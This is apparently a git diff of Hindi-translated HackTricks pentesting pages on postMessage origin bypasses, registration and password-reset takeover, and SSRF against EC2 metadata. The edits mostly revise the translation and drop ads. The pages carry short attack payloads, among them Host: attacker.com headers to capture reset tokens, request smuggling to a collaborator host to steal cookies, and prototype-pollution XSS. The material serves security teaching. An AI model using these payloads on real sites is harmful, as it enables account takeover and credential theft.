* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **संपर्कित** हुए हैं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य खाता अधिग्रहण और रैंसमवेयर हमलों से लड़ना है जो जानकारी चुराने वाले मालवेयर के परिणामस्वरूप होते हैं।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Send **PostMessage**
|
||||
|
||||
|
@ -84,7 +71,7 @@ window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
|||
## addEventListener शोषण
|
||||
|
||||
**`addEventListener`** वह फ़ंक्शन है जिसका उपयोग JS उस फ़ंक्शन को घोषित करने के लिए करता है जो **`postMessages`** की **उम्मीद कर रहा है**।\
|
||||
इससे मिलता-जुलता कोड निम्नलिखित में से एक का उपयोग किया जाएगा:
|
||||
इससे मिलती-जुलती कोड का उपयोग किया जाएगा:
|
||||
```javascript
|
||||
window.addEventListener("message", (event) => {
|
||||
if (event.origin !== "http://example.org:8080")
|
||||
|
@ -97,14 +84,14 @@ return;
|
|||
|
||||
### Enumeration
|
||||
|
||||
वर्तमान पृष्ठ में **इवेंट लिसनर्स** खोजने के लिए आप:
|
||||
वर्तमान पृष्ठ में **इवेंट लिस्नर्स** खोजने के लिए आप कर सकते हैं:
|
||||
|
||||
* **खोजें** JS कोड में `window.addEventListener` और `$(window).on` (_JQuery संस्करण_)
|
||||
* **निष्पादित करें** डेवलपर टूल्स कंसोल में: `getEventListeners(window)`
|
||||
* **JS कोड में** `window.addEventListener` और `$(window).on` (_JQuery संस्करण_) के लिए **खोजें**
|
||||
* डेवलपर टूल्स कंसोल में **निष्पादित करें**: `getEventListeners(window)`
|
||||
|
||||
![](<../../.gitbook/assets/image (618) (1).png>)
|
||||
|
||||
* डेवलपर टूल्स में _Elements --> Event Listeners_ पर जाएं
|
||||
* ब्राउज़र के डेवलपर टूल्स में _Elements --> Event Listeners_ पर **जाएं**
|
||||
|
||||
![](<../../.gitbook/assets/image (396).png>)
|
||||
|
||||
|
@ -112,13 +99,13 @@ return;
|
|||
|
||||
### Origin check bypasses
|
||||
|
||||
* **`event.isTrusted`** विशेषता को सुरक्षित माना जाता है क्योंकि यह केवल उन घटनाओं के लिए `True` लौटाती है जो वास्तविक उपयोगकर्ता क्रियाओं द्वारा उत्पन्न होती हैं। हालांकि, यदि इसे सही तरीके से लागू किया जाए तो इसे बायपास करना चुनौतीपूर्ण है, इसकी सुरक्षा जांचों में महत्व उल्लेखनीय है।
|
||||
* **`event.isTrusted`** विशेषता को सुरक्षित माना जाता है क्योंकि यह केवल उन घटनाओं के लिए `True` लौटाता है जो वास्तविक उपयोगकर्ता क्रियाओं द्वारा उत्पन्न होती हैं। हालांकि, यदि इसे सही तरीके से लागू किया जाए तो इसे बायपास करना चुनौतीपूर्ण है, इसकी सुरक्षा जांचों में महत्व उल्लेखनीय है।
|
||||
* **`indexOf()`** का उपयोग PostMessage घटनाओं में उत्पत्ति सत्यापन के लिए बायपास के प्रति संवेदनशील हो सकता है। इस भेद्यता को दर्शाने वाला एक उदाहरण है:
|
||||
|
||||
```javascript
|
||||
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
|
||||
```
|
||||
* `String.prototype.search()` से **`search()`** विधि नियमित अभिव्यक्तियों के लिए है, न कि स्ट्रिंग्स के लिए। किसी भी चीज़ को regexp के अलावा पास करने से regex में निहित परिवर्तन होता है, जिससे यह विधि संभावित रूप से असुरक्षित हो जाती है। इसका कारण यह है कि regex में, एक बिंदु (.) एक वाइल्डकार्ड के रूप में कार्य करता है, जिससे विशेष रूप से तैयार किए गए डोमेन के साथ सत्यापन को बायपास किया जा सकता है। उदाहरण के लिए:
|
||||
* `String.prototype.search()` से **`search()`** विधि नियमित अभिव्यक्तियों के लिए है, न कि स्ट्रिंग्स के लिए। किसी भी चीज़ को regexp के अलावा पास करने से regex में निहित परिवर्तन होता है, जिससे विधि संभावित रूप से असुरक्षित हो जाती है। इसका कारण यह है कि regex में, एक बिंदु (.) एक वाइल्डकार्ड के रूप में कार्य करता है, जिससे विशेष रूप से तैयार किए गए डोमेन के साथ सत्यापन को बायपास करना संभव हो जाता है। उदाहरण के लिए:
|
||||
|
||||
```javascript
|
||||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||||
|
@ -141,16 +128,16 @@ result = u(new Error("'\"<b>\\"));
|
|||
result.message; // "'"<b>\"
|
||||
```
|
||||
|
||||
इस भेद्यता के संदर्भ में, `File` ऑब्जेक्ट अपने पढ़ने योग्य `name` प्रॉपर्टी के कारण विशेष रूप से शोषण योग्य है। इस प्रॉपर्टी का उपयोग टेम्पलेट्स में किया जाने पर, इसे `escapeHtml` फ़ंक्शन द्वारा स्वच्छ नहीं किया जाता है, जिससे संभावित सुरक्षा जोखिम उत्पन्न होते हैं।
|
||||
इस भेद्यता के संदर्भ में, `File` ऑब्जेक्ट अपने पढ़ने के लिए केवल `name` प्रॉपर्टी के कारण विशेष रूप से शोषण योग्य है। इस प्रॉपर्टी का उपयोग टेम्पलेट्स में किया जाता है, इसे `escapeHtml` फ़ंक्शन द्वारा स्वच्छ नहीं किया जाता है, जिससे संभावित सुरक्षा जोखिम उत्पन्न होते हैं।
|
||||
* JavaScript में `document.domain` प्रॉपर्टी को एक स्क्रिप्ट द्वारा डोमेन को छोटा करने के लिए सेट किया जा सकता है, जिससे समान मूल नीति प्रवर्तन में अधिक ढील दी जा सके।
|
||||
|
||||
### e.origin == window.origin बायपास
|
||||
|
||||
जब %%%%%% का उपयोग करके एक **सैंडबॉक्स्ड iframe** के भीतर एक वेब पृष्ठ को एम्बेड किया जाता है, तो यह समझना महत्वपूर्ण है कि iframe की उत्पत्ति `null` पर सेट की जाएगी। यह विशेष रूप से **सैंडबॉक्स विशेषताओं** और उनके सुरक्षा और कार्यक्षमता पर प्रभावों के साथ काम करते समय महत्वपूर्ण है।
|
||||
जब %%%%%% का उपयोग करके एक **सैंडबॉक्स्ड iframe** के भीतर एक वेब पृष्ठ को एम्बेड किया जाता है, तो यह समझना महत्वपूर्ण है कि iframe की उत्पत्ति `null` पर सेट की जाएगी। यह **सैंडबॉक्स विशेषताओं** और उनकी सुरक्षा और कार्यक्षमता पर प्रभाव डालने के संदर्भ में विशेष रूप से महत्वपूर्ण है।
|
||||
|
||||
सैंडबॉक्स विशेषता में **`allow-popups`** निर्दिष्ट करने से, iframe के भीतर से खोला गया कोई भी पॉपअप विंडो अपने माता-पिता की सैंडबॉक्स प्रतिबंधों को विरासत में लेता है। इसका मतलब है कि जब तक **`allow-popups-to-escape-sandbox`** विशेषता भी शामिल नहीं की जाती, पॉपअप विंडो की उत्पत्ति भी `null` पर सेट होती है, जो iframe की उत्पत्ति के साथ मेल खाती है।
|
||||
|
||||
इसलिए, जब इन परिस्थितियों के तहत एक पॉपअप खोला जाता है और iframe से पॉपअप में **`postMessage`** का उपयोग करके एक संदेश भेजा जाता है, तो भेजने और प्राप्त करने वाले दोनों पक्षों की उत्पत्ति `null` पर सेट होती है। यह स्थिति एक परिदृश्य की ओर ले जाती है जहां **`e.origin == window.origin`** सत्य ( `null == null`) के रूप में मूल्यांकित होता है, क्योंकि iframe और पॉपअप दोनों का उत्पत्ति मान `null` है।
|
||||
इसलिए, जब इन परिस्थितियों के तहत एक पॉपअप खोला जाता है और iframe से पॉपअप में **`postMessage`** का उपयोग करके एक संदेश भेजा जाता है, तो भेजने और प्राप्त करने वाले दोनों पक्षों की उत्पत्ति `null` पर सेट होती है। यह स्थिति एक परिदृश्य की ओर ले जाती है जहां **`e.origin == window.origin`** सत्यापित होता है (`null == null`), क्योंकि iframe और पॉपअप दोनों का उत्पत्ति मान `null` है।
|
||||
|
||||
अधिक जानकारी के लिए **पढ़ें**:
|
||||
|
||||
|
@ -158,7 +145,7 @@ result.message; // "'"<b>\"
|
|||
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Bypassing e.source
|
||||
### e.source को बायपास करना
|
||||
|
||||
यह जांचना संभव है कि क्या संदेश उसी विंडो से आया है जिसमें स्क्रिप्ट सुन रही है (विशेष रूप से **ब्राउज़र एक्सटेंशनों से सामग्री स्क्रिप्ट्स** के लिए यह जांचने के लिए कि क्या संदेश उसी पृष्ठ से भेजा गया था):
|
||||
```javascript
|
||||
|
@ -185,9 +172,9 @@ var w=window.open("<url>")
|
|||
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||
</script>
|
||||
```
|
||||
### बच्चे को भेजे गए संदेश को मुख्य पृष्ठ को ब्लॉक करके चुराना
|
||||
### मुख्य पृष्ठ को ब्लॉक करके बच्चे को भेजे गए संदेश को चुराना
|
||||
|
||||
नीचे दिए गए पृष्ठ में आप देख सकते हैं कि आप कैसे **संवेदनशील postmessage डेटा** को **बच्चे के iframe** को **ब्लॉक** करके चुरा सकते हैं, मुख्य पृष्ठ को डेटा भेजने से पहले और बच्चे में **XSS** का दुरुपयोग करके डेटा को **लीक** करने से पहले:
|
||||
नीचे दिए गए पृष्ठ में आप देख सकते हैं कि आप कैसे **संवेदनशील postmessage डेटा** को **बच्चे के iframe** में चुराने के लिए **मुख्य** पृष्ठ को डेटा भेजने से पहले **ब्लॉक** कर सकते हैं और **बच्चे में XSS** का दुरुपयोग करके डेटा को **लीक** कर सकते हैं इससे पहले कि इसे प्राप्त किया जाए:
|
||||
|
||||
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
|
||||
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
|
||||
|
@ -205,7 +192,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
|||
|
||||
उन परिदृश्यों में जहां `postMessage` के माध्यम से भेजा गया डेटा JS द्वारा निष्पादित होता है, आप **पृष्ठ** को **iframe** कर सकते हैं और **प्रोटोटाइप प्रदूषण/XSS** का **दुरुपयोग** कर सकते हैं, जो कि `postMessage` के माध्यम से हमले को भेजता है।
|
||||
|
||||
**postMessage** के माध्यम से **बहुत अच्छे से समझाए गए XSS** के कुछ उदाहरण [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html) पर मिल सकते हैं।
|
||||
कुछ **बहुत अच्छे तरीके से समझाए गए XSS `postMessage` के माध्यम से** [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html) में पाए जा सकते हैं।
|
||||
|
||||
एक हमले का उदाहरण जो **प्रोटोटाइप प्रदूषण और फिर XSS** का दुरुपयोग करता है `postMessage` के माध्यम से एक `iframe` में:
|
||||
```html
|
||||
|
@ -223,41 +210,30 @@ setTimeout(get_code, 2000);
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
For **more information**:
|
||||
For **अधिक जानकारी**:
|
||||
|
||||
* Link to page about [**prototype pollution**](../deserialization/nodejs-proto-prototype-pollution/)
|
||||
* Link to page about [**XSS**](../xss-cross-site-scripting/)
|
||||
* Link to page about [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
||||
* [**प्रोटोटाइप प्रदूषण**](../deserialization/nodejs-proto-prototype-pollution/) के बारे में पृष्ठ का लिंक
|
||||
* [**XSS**](../xss-cross-site-scripting/) के बारे में पृष्ठ का लिंक
|
||||
* [**क्लाइंट साइड प्रोटोटाइप प्रदूषण से XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss) के बारे में पृष्ठ का लिंक
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
|
||||
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
||||
* To practice: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
||||
* अभ्यास के लिए: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **संपर्कित** हुए हैं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -8,32 +8,19 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) चेक करें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर **हमें फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **मुफ्त** कार्यक्षमताएँ प्रदान करता है कि क्या कोई कंपनी या इसके ग्राहक **समझौता** किए गए हैं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है जो जानकारी चुराने वाले मालवेयर के परिणामस्वरूप होते हैं।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## पंजीकरण अधिग्रहण
|
||||
|
||||
### डुप्लिकेट पंजीकरण
|
||||
|
||||
* मौजूदा उपयोगकर्ता नाम का उपयोग करके जनरेट करने का प्रयास करें
|
||||
* एक मौजूदा उपयोगकर्ता नाम का उपयोग करके जनरेट करने का प्रयास करें
|
||||
* ईमेल को बदलने की जांच करें:
|
||||
* अपरकेस
|
||||
* \+1@
|
||||
|
@ -45,7 +32,7 @@ WhiteIntel का प्राथमिक लक्ष्य खाता अ
|
|||
|
||||
### उपयोगकर्ता नाम गणना
|
||||
|
||||
जांचें कि क्या आप यह पता लगा सकते हैं कि कब एक उपयोगकर्ता नाम पहले से ही एप्लिकेशन के अंदर पंजीकृत है।
|
||||
जांचें कि क्या आप पता लगा सकते हैं कि कब एक उपयोगकर्ता नाम पहले से ही एप्लिकेशन के अंदर पंजीकृत है।
|
||||
|
||||
### पासवर्ड नीति
|
||||
|
||||
|
@ -54,7 +41,7 @@ WhiteIntel का प्राथमिक लक्ष्य खाता अ
|
|||
|
||||
### SQL इंजेक्शन
|
||||
|
||||
[**इस पृष्ठ की जांच करें** ](sql-injection/#insert-statement)यह सीखने के लिए कि कैसे खाता अधिग्रहण का प्रयास करें या पंजीकरण फॉर्म में **SQL इंजेक्शन** के माध्यम से जानकारी निकालें।
|
||||
[**इस पृष्ठ की जांच करें** ](sql-injection/#insert-statement)यह सीखने के लिए कि कैसे खाता अधिग्रहण का प्रयास करें या पंजीकरण फॉर्म के माध्यम से **SQL इंजेक्शन** के माध्यम से जानकारी निकालें।
|
||||
|
||||
### ओथ अधिग्रहण
|
||||
|
||||
|
@ -74,7 +61,7 @@ WhiteIntel का प्राथमिक लक्ष्य खाता अ
|
|||
|
||||
### अधिक जांचें
|
||||
|
||||
* जांचें कि क्या आप **डिस्पोजेबल ईमेल** का उपयोग कर सकते हैं
|
||||
* जांचें कि क्या आप **निष्क्रिय ईमेल** का उपयोग कर सकते हैं
|
||||
* **लंबा** **पासवर्ड** (>200) **DoS** की ओर ले जाता है
|
||||
* **खाता निर्माण पर दर सीमाओं की जांच करें**
|
||||
* username@**burp\_collab**.net का उपयोग करें और **कॉलबैक** का विश्लेषण करें
|
||||
|
@ -86,7 +73,7 @@ WhiteIntel का प्राथमिक लक्ष्य खाता अ
|
|||
1. अपने ईमेल पते पर पासवर्ड रीसेट का अनुरोध करें
|
||||
2. पासवर्ड रीसेट लिंक पर क्लिक करें
|
||||
3. पासवर्ड न बदलें
|
||||
4. किसी भी 3rd पार्टी वेबसाइटों पर क्लिक करें (जैसे: फेसबुक, ट्विटर)
|
||||
4. किसी 3rd पार्टी वेबसाइटों पर क्लिक करें (जैसे: फेसबुक, ट्विटर)
|
||||
5. Burp Suite प्रॉक्सी में अनुरोध को इंटरसेप्ट करें
|
||||
6. जांचें कि क्या रेफरर हेडर पासवर्ड रीसेट टोकन लीक कर रहा है।
|
||||
|
||||
|
@ -94,7 +81,7 @@ WhiteIntel का प्राथमिक लक्ष्य खाता अ
|
|||
|
||||
1. Burp Suite में पासवर्ड रीसेट अनुरोध को इंटरसेप्ट करें
|
||||
2. Burp Suite में निम्नलिखित हेडर जोड़ें या संपादित करें: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||
3. संशोधित हेडर के साथ अनुरोध को अग्रेषित करें\
|
||||
3. संशोधित हेडर के साथ अनुरोध को फॉरवर्ड करें\
|
||||
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
||||
4. _host header_ के आधार पर पासवर्ड रीसेट URL की तलाश करें जैसे: `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
|
||||
|
@ -149,7 +136,7 @@ email=victim@mail.com|hacker@mail.com
|
|||
1. सिस्टम पर एक उपयोगकर्ता नाम के साथ पंजीकरण करें जो पीड़ित के उपयोगकर्ता नाम के समान हो, लेकिन उपयोगकर्ता नाम के पहले और/या बाद में खाली स्थान डालें। जैसे: `"admin "`
|
||||
2. अपने दुर्भावनापूर्ण उपयोगकर्ता नाम के साथ पासवर्ड रीसेट का अनुरोध करें।
|
||||
3. अपने ईमेल पर भेजे गए टोकन का उपयोग करें और पीड़ित का पासवर्ड रीसेट करें।
|
||||
4. नए पासवर्ड के साथ पीड़ित खाते से कनेक्ट करें।
|
||||
4. नए पासवर्ड के साथ पीड़ित खाते में लॉगिन करें।
|
||||
|
||||
प्लेटफ़ॉर्म CTFd इस हमले के प्रति संवेदनशील था।\
|
||||
देखें: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||
|
@ -166,7 +153,7 @@ email=victim@mail.com|hacker@mail.com
|
|||
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
||||
2\. एक अनुरोध तैयार करें जो `POST / HTTP/1.1` को निम्नलिखित डेटा के साथ ओवरराइट करेगा:\
|
||||
`GET http://something.burpcollaborator.net HTTP/1.1 X:` जिसका लक्ष्य पीड़ितों को burpcollab पर ओपन रीडायरेक्ट करना और उनकी कुकीज़ चुराना है।\
|
||||
3\. अंतिम अनुरोध निम्नलिखित की तरह दिख सकता है
|
||||
3\. अंतिम अनुरोध निम्नलिखित के समान हो सकता है
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Transfer-Encoding: chunked
|
||||
|
@ -202,18 +189,6 @@ JSON वेब टोकन का उपयोग एक उपयोगकर
|
|||
|
||||
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमताएँ प्रदान करता है कि क्या कोई कंपनी या उसके ग्राहक **चुराने वाले मालवेयर** द्वारा **समझौता** किए गए हैं।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य खाता अधिग्रहण और जानकारी चुराने वाले मालवेयर के परिणामस्वरूप होने वाले रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जाकर **फ्री** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -222,9 +197,9 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) जांचें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,29 +15,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## AWS
|
||||
|
||||
### AWS EC2 वातावरण में SSRF का दुरुपयोग
|
||||
### Abusing SSRF in AWS EC2 environment
|
||||
|
||||
**मेटाडेटा** एंडपॉइंट को किसी भी EC2 मशीन के अंदर से एक्सेस किया जा सकता है और यह इसके बारे में दिलचस्प जानकारी प्रदान करता है। यह URL में उपलब्ध है: `http://169.254.169.254` ([यहां मेटाडेटा के बारे में जानकारी](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))।
|
||||
**The metadata** endpoint को किसी भी EC2 मशीन के अंदर से एक्सेस किया जा सकता है और यह इसके बारे में दिलचस्प जानकारी प्रदान करता है। यह URL में उपलब्ध है: `http://169.254.169.254` ([metadata के बारे में जानकारी यहाँ](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))।
|
||||
|
||||
मेटाडेटा एंडपॉइंट के **2 संस्करण** हैं। **पहला** संस्करण **GET** अनुरोधों के माध्यम से एंडपॉइंट को **एक्सेस** करने की अनुमति देता है (इसलिए कोई भी **SSRF इसका दुरुपयोग कर सकता है**)। **संस्करण 2** के लिए, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), आपको एक **टोकन** के लिए **PUT** अनुरोध भेजकर पूछना होगा और फिर उस टोकन का उपयोग करके दूसरे HTTP हेडर के साथ मेटाडेटा को एक्सेस करना होगा (इसलिए इसे SSRF के साथ **दुरुपयोग करना अधिक जटिल है**)।
|
||||
**Metadata endpoint** के **2 संस्करण** हैं। **पहला** संस्करण **GET** अनुरोधों के माध्यम से **endpoint** तक पहुँचने की अनुमति देता है (इसलिए कोई भी **SSRF इसका लाभ उठा सकता है**)। **संस्करण 2** के लिए, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), आपको एक **टोकन** के लिए **PUT** अनुरोध भेजकर पूछना होगा और फिर उस टोकन का उपयोग करके दूसरे HTTP हेडर के साथ metadata तक पहुँचने के लिए करना होगा (इसलिए इसे SSRF के साथ **दुरुपयोग करना अधिक जटिल है**)।
|
||||
|
||||
